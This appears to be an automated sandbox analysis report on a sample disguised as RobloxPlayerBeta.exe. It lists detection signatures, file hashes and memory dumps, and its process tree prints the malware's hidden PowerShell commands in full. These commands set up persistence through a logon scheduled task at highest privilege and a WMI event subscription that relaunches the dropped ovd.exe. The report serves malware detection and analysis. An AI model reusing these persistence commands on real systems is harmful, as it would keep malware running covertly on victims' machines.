Analysis

  • geolocation tags

    asiadelhiinindia
  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/08/2026, 00:33

General

  • Target
    RobloxPlayerBeta.exe
  • Size 26.4MB
  • Sample260824-awcbrsbr21
  • SHA256 dcfbf63780823ff659361c95c2eb8fd451ca0c8e328b82a4894d8f985df47c54
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RobloxPlayerBeta.exe
    "C:\Users\Admin\AppData\Local\Temp\RobloxPlayerBeta.exe"
    1⤵
      PID:4804
    • C:\Users\Admin\AppData\Local\Temp\RobloxPlayerBeta.exe
      "C:\Users\Admin\AppData\Local\Temp\RobloxPlayerBeta.exe"
      1⤵
      • Creates a file in the Startup directory
      • Adds Run key to start application
      • Checks processor information in registry
      • Suspicious use of WriteProcessMemory
      PID:1676
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_4fd04fd0' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4352
    • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe"
      1⤵
      • Creates a file in the Startup directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:4652
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_4fd04fd0' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1276
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f4fd04fd0'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c4fd04fd0'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f4fd04fd0'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c4fd04fd0'\"; $null = $b.Put()"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4728

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_d0uahr1w.ktt.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d0uahr1w.ktt.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          agent-1059038228.tmp

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-1059038228.tmp
          • Size 26.4MB
          • SHA256 dcfbf63780823ff659361c95c2eb8fd451ca0c8e328b82a4894d8f985df47c54
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1276-29-0x0000022B54E50000-0x0000022B54F40000-memory.dmp

          memory/1676-36-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-43-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-49-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-48-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-47-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-46-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-45-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-44-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-42-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-39-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-40-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/1676-41-0x00007FF725EE0000-0x00007FF72999F000-memory.dmp

          memory/4352-8-0x000001D4E5700000-0x000001D4E5722000-memory.dmp

          memory/4352-14-0x000001D4E5810000-0x000001D4E582E000-memory.dmp

          memory/4352-11-0x000001D4E57D0000-0x000001D4E57EE000-memory.dmp

          memory/4352-12-0x000001D4FD860000-0x000001D4FD912000-memory.dmp

          memory/4352-24-0x000001D4FDFB0000-0x000001D4FE0A0000-memory.dmp

          memory/4352-13-0x000001D4E5780000-0x000001D4E578A000-memory.dmp

          memory/4652-35-0x00007FF716AA0000-0x00007FF71A55F000-memory.dmp

          memory/4728-34-0x0000017FC9FF0000-0x0000017FCA0E0000-memory.dmp